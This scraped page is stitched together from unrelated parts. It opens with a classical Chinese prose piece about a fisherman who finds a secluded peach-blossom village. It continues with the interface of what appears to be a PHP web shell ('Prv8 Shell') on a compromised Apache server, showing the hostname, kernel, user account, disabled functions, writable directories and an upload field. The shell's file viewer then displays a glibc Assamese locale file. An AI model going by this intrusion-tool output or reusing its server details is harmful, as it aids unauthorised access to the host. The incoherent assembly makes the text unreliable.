晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/i18n/locales/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/i18n/locales/as_IN
comment_char %
escape_char /

% This file is part of the GNU C Library and contains locale data.
% The Free Software Foundation does not claim any copyright interest
% in the locale data contained in this file.  The foregoing does not
% affect the license of the GNU C Library as a whole.  It does not
% exempt you from the conditions of the license if your use would
% otherwise be governed by that license.

% Assamese locale for India.

%%%%%%%%%%%%%
LC_IDENTIFICATION
title       "Assamese language locale for India"
source      "Amitakhya Phukan, Red Hat"
address     ""
contact     ""
email       "bug-glibc@gnu.org"
tel         ""
fax         ""
language    "Assamese"
territory   "India"
revision    "1.0"
date        "2006-05-25"

category "i18n:2012";LC_IDENTIFICATION
category "i18n:2012";LC_CTYPE
category "i18n:2012";LC_COLLATE
category "i18n:2012";LC_TIME
category "i18n:2012";LC_NUMERIC
category "i18n:2012";LC_MONETARY
category "i18n:2012";LC_MESSAGES
category "i18n:2012";LC_PAPER
category "i18n:2012";LC_NAME
category "i18n:2012";LC_ADDRESS
category "i18n:2012";LC_TELEPHONE
category "i18n:2012";LC_MEASUREMENT
END LC_IDENTIFICATION

%%%%%%%%%%%%%
LC_CTYPE
copy "bn_BD"
END LC_CTYPE

%%%%%%%%%%%%%
LC_COLLATE

% Copy the template from ISO/IEC 14651
copy "iso14651_t1"

END LC_COLLATE

%%%%%%%%%%%%%
LC_NUMERIC
copy "en_IN"
END LC_NUMERIC

%%%%%%%%%%%%%
LC_MONETARY
copy "hi_IN"
END LC_MONETARY

%%%%%%%%%%%%%
LC_TIME
abday   "<U09A6><U09C7><U0993>";/
        "<U09B8><U09CB><U09AE>";/
        "<U09AE><U0999><U09CD><U0997><U09B2>";/
        "<U09AC><U09C1><U09A7>";/
        "<U09AC><U09C3><U09B9><U09B7><U09CD><U09AA><U09A4><U09BF>";/
        "<U09B6><U09C1><U0995><U09CD><U09F0>";/
        "<U09B6><U09A8><U09BF>"
day     "<U09A6><U09C7><U0993><U09AC><U09BE><U09F0>";/
        "<U09B8><U09CB><U09AE><U09AC><U09BE><U09F0>";/
        "<U09AE><U0999><U09CD><U0997><U09B2><U09AC><U09BE><U09F0>";/
        "<U09AC><U09C1><U09A7><U09AC><U09BE><U09F0>";/
        "<U09AC><U09C3><U09B9><U09B7><U09CD><U09AA><U09A4><U09BF><U09AC><U09BE><U09F0>";/
        "<U09B6><U09C1><U0995><U09CD><U09F0><U09AC><U09BE><U09F0>";/
        "<U09B6><U09A8><U09BF><U09AC><U09BE><U09F0>"
abmon   "<U099C><U09BE><U09A8><U09C1>";/
        "<U09AB><U09C7><U09AC><U09CD><U09F0><U09C1>";/
        "<U09AE><U09BE><U09F0><U09CD><U099A>";/
        "<U098F><U09AA><U09CD><U09F0><U09BF><U09B2>";/
        "<U09AE><U09C7>";/
        "<U099C><U09C1><U09A8>";/
        "<U099C><U09C1><U09B2><U09BE><U0987>";/
        "<U0986><U0997>";/
        "<U09B8><U09C7><U09AA><U09CD><U099F>";/
        "<U0985><U0995><U09CD><U099F><U09CB>";/
        "<U09A8><U09AD><U09C7>";/
        "<U09A1><U09BF><U09B8><U09C7>"
mon     "<U099C><U09BE><U09A8><U09C1><U09F1><U09BE><U09F0><U09C0>";/
        "<U09AB><U09C7><U09AC><U09CD><U09F0><U09C1><U09F1><U09BE><U09F0><U09C0>";/
        "<U09AE><U09BE><U09F0><U09CD><U099A>";/
        "<U098F><U09AA><U09CD><U09F0><U09BF><U09B2>";/
        "<U09AE><U09C7>";/
        "<U099C><U09C1><U09A8>";/
        "<U099C><U09C1><U09B2><U09BE><U0987>";/
        "<U0986><U0997><U09B7><U09CD><U099F>";/
        "<U099B><U09C7><U09AA><U09CD><U09A4><U09C7><U09AE><U09CD><U09AC><U09F0>";/
        "<U0985><U0995><U09CD><U099F><U09CB><U09AC><U09F0>";/
        "<U09A8><U09F1><U09C7><U09AE><U09CD><U09AC><U09F0>";/
        "<U09A1><U09BF><U099A><U09C7><U09AE><U09CD><U09AC><U09F0>"
d_fmt    "%e-%m-%Y"
t_fmt    "%I.%M.%S %p"
d_t_fmt  "%e %B, %Y %I.%M.%S %p %Z"
am_pm    "<U09AA><U09C2><U09F0><U09CD><U09AC><U09CD><U09AC><U09BE><U09B9><U09CD><U09A8>";"<U0985><U09AA><U09F0><U09BE><U09B9><U09CD><U09A8>"
t_fmt_ampm  "%I.%M.%S %p"
week 7;19971130;1
END LC_TIME

%%%%%%%%%%%%%
LC_MESSAGES
yesexpr "^[+1yY<U09B9>]"
noexpr  "^[-0nN<U09A8>]"
yesstr  "<U09B9><U09DF>"
nostr   "<U09A8><U09B9><U09DF>"
END LC_MESSAGES

%%%%%%%%%%%%%
LC_PAPER
copy "hi_IN"
END LC_PAPER

%%%%%%%%%%%%%
LC_NAME
% This is the ISO_IEC TR14652 Locale definition for the
% LC_NAME category.
%
name_fmt    "%p%t%f%t%g"
name_gen    ""
name_mr     "<U09B6><U09CD><U09F0><U09C0>"
name_mrs    "<U09B6><U09CD><U09F0><U09C0><U09AE><U09A4><U09C0>"
name_miss   "<U0995><U09C1><U09AE><U09BE><U09F0><U09C0>"
name_ms     "<U0995><U09C1><U09AE><U09BE><U09F0><U09C0>"
END LC_NAME

%%%%%%%%%%%%%
LC_ADDRESS
% This is the ISO_IEC TR14652 Locale definition for the
% LC_ADDRESS
postal_fmt  "%z%c%T%s%b%e%r"
country_name "<U09AD><U09BE><U09F0><U09A4>"
country_car  "IND"
country_num 356
% অসমীয়া
lang_name    "<U0985><U09B8><U09AE><U09C0><U09AF><U09BC><U09BE>"
lang_ab      "as"
lang_term    "asm"
lang_lib    "asm"
END LC_ADDRESS

%%%%%%%%%%%%%
LC_TELEPHONE
% This is the ISO_IEC TR14652 Locale definition for the
tel_int_fmt "+%c ;%a ;%l"
int_prefix  "91"
int_select  "00"
END LC_TELEPHONE

%%%%%%%%%%%%%
LC_MEASUREMENT
copy "hi_IN"
END LC_MEASUREMENT

haha - 2025